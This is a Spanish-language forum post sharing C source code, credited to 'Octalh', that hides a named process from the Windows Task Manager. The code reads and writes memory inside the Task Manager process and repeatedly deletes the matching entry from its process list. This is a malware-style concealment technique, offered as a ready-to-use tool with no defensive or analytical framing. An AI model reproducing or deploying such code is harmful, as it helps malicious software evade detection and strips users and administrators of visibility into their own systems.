Ocultar Proceso

Iniciado por ANTRAX, Mayo 22, 2011, 09:56:25 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 22, 2011, 09:56:25 PM Ultima modificación: Febrero 08, 2014, 05:49:25 PM por Expermicid
/*
[ Programa ]
Ocultar procesos al administrador de tareas (Task Manager) Sin inyeccion.
By Octalh
Testeado en Windows XP SP2
[email protected]
www.aztekmindz.org
Código: c
*/

using namespace std;

LVITEM ItemLista, *_ItemLista;
char item[512], subitem[512];
char *_item, *_subitem;
unsigned long pid;
HANDLE HProceso;
char ExeProc[50]; //Proceso a ocultar

BOOL CALLBACK PrOcultar(HWND hwnd,LPARAM lParam)
{
   char HLista[150] = "";
   char HAdminT[150] = "";

   GetWindowText(hwnd,HAdminT,149);
   GetClassName(hwnd,HLista,249);

   if (strstr(HAdminT,"Procesos") && strstr(HLista,"SysListView32") !=NULL)
   /* Si encontramos la columna "Procesos" en el Taskmanager y la clase "SysListView32"
      de la listvew
   */
   {
      int count=(int)SendMessage(hwnd, LVM_GETITEMCOUNT, 0, 0); // Contamos los Items listados
      int i;
      GetWindowThreadProcessId(hwnd, &pid); //Obtenemos el Pid de cada Proceso listado como Item
      HProceso=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
                      PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);
                      // Obtenemos el Hndle del proceso como Item de la Listvew

      _ItemLista=(LVITEM*)VirtualAllocEx(HProceso, NULL, sizeof(LVITEM),
                                MEM_COMMIT, PAGE_READWRITE); // Asiganos permisos de lectura y escritura al Listvew
      _item=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
                               PAGE_READWRITE);
      _subitem=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
                           PAGE_READWRITE); // Asiganos Lectura y Escritura en la region asiganda

      ItemLista.cchTextMax=512;
      for(i=0; i<count; i++) { // Contamos cada Item en un Bucle
           ItemLista.iSubItem=0;
           ItemLista.pszText=_item;
           WriteProcessMemory(HProceso, _ItemLista, &amp;ItemLista, sizeof(LVITEM), NULL);
           SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista); // Obtenemos el nombre de cada Item (Proceso)
           ItemLista.iSubItem=1; // Posicion de la columna en el listview
           ItemLista.pszText=_subitem;
           WriteProcessMemory(HProceso, _ItemLista, &amp;ItemLista, sizeof(LVITEM), NULL);
           SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista);
           ReadProcessMemory(HProceso, _item, item, 512, NULL);
           ReadProcessMemory(HProceso, _subitem, subitem, 512, NULL);

          if (strstr(item,ExeProc) != NULL)  SendMessage(hwnd, LVM_DELETEITEM, (WPARAM)i, (LPARAM)_ItemLista);
          // Si exise el Proceso a Ocultar, eliminamos el Item de la Listvew
      }
      VirtualFreeEx(HProceso, _ItemLista, 0, MEM_RELEASE); // Libreamos...
      VirtualFreeEx(HProceso, _item, 0, MEM_RELEASE);
      VirtualFreeEx(HProceso, _subitem, 0, MEM_RELEASE);
      return FALSE;
   }

return TRUE;
}

int main(){
   HWND fwindow;
   printf("%s","\n\n      Ocultar Procesos al Task Manager \n");
   printf("%s","\n                << By Octalh >>\n\n");
   printf("%s","     [ www.aztekmindz.org | [email protected] ]\n \n");
   printf("     Escribe el proceso que deseas ocultar: ");
   gets(ExeProc);
   printf("\n\n     Ocultando Proceso: [ %s ]",ExeProc);

   for(;;)
   {
      EnumChildWindows(FindWindow(0,"Administrador de tareas de Windows"),PrOcultar,0);
   }

   return 0;
}